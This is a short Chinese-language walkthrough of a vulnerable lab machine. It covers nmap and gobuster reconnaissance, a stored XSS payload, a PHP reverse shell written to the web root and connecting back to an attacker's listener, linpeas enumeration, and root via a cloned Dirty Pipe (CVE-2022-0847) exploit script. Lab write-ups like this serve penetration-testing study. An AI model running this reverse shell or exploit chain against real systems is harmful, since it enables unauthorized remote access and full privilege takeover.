1.找到靶场ip
nmap 192.168.204.0/24 扫描net的网段找到靶机ip
我的靶机IP地址为192.168.204.137
2.查看开放端口,扫描目录,看网站有没有有用信息
nmap -sV -p- -T4 192.168.204.137
扫描目录
gobuster dir -u http://192.168.204.137 -x php,jsp,asp,txt -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
-u 指定网站
-x 扫描文件类型
-w 指定字典(usr/share/wordlists为kali自带字典目录 dirbuster为目录爆破字典)
访问目录
/graffiti.php
发现文本输入框外,暂无其他可利用信息,输入文本dasda发现有回显,xss注入<image src=1 οnerrοr=alert('hhh')>刷新一下发现为存储型xss
burp抓包看看
发现请求体中有一个文件,关闭代理,访问这个文件
发现输入的内容传入graffiti.txt,那我们发散一下思维,把反弹shell传入一个不存在的php文件
3.把一个php反弹shell写入1.php
根据网站的特性:在存储数据时,如果目标文件不存在,一般会自动创建一个文件
<?php
$ip = "攻击者主机ip地址";
$port = "攻击者主机监听端口";
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
根据网站的特性:当你访问一个可执行文件时,代码会被执行(php代码写在txt文件不行,拒绝小白提问)
攻击机 nc -lvnp 4444
1.php有点小问题,改正重新上传到2.php,访问反弹成功
4.使用工具linpeas.sh
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh 下载工具 nc上传linpeas.sh
bash ./linpeas.sh运行
他会帮你下一提权的文件如果没下,可能时靶机配置不够卡崩了,我这里就没下载
手动下载,并运行,获取root权限
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh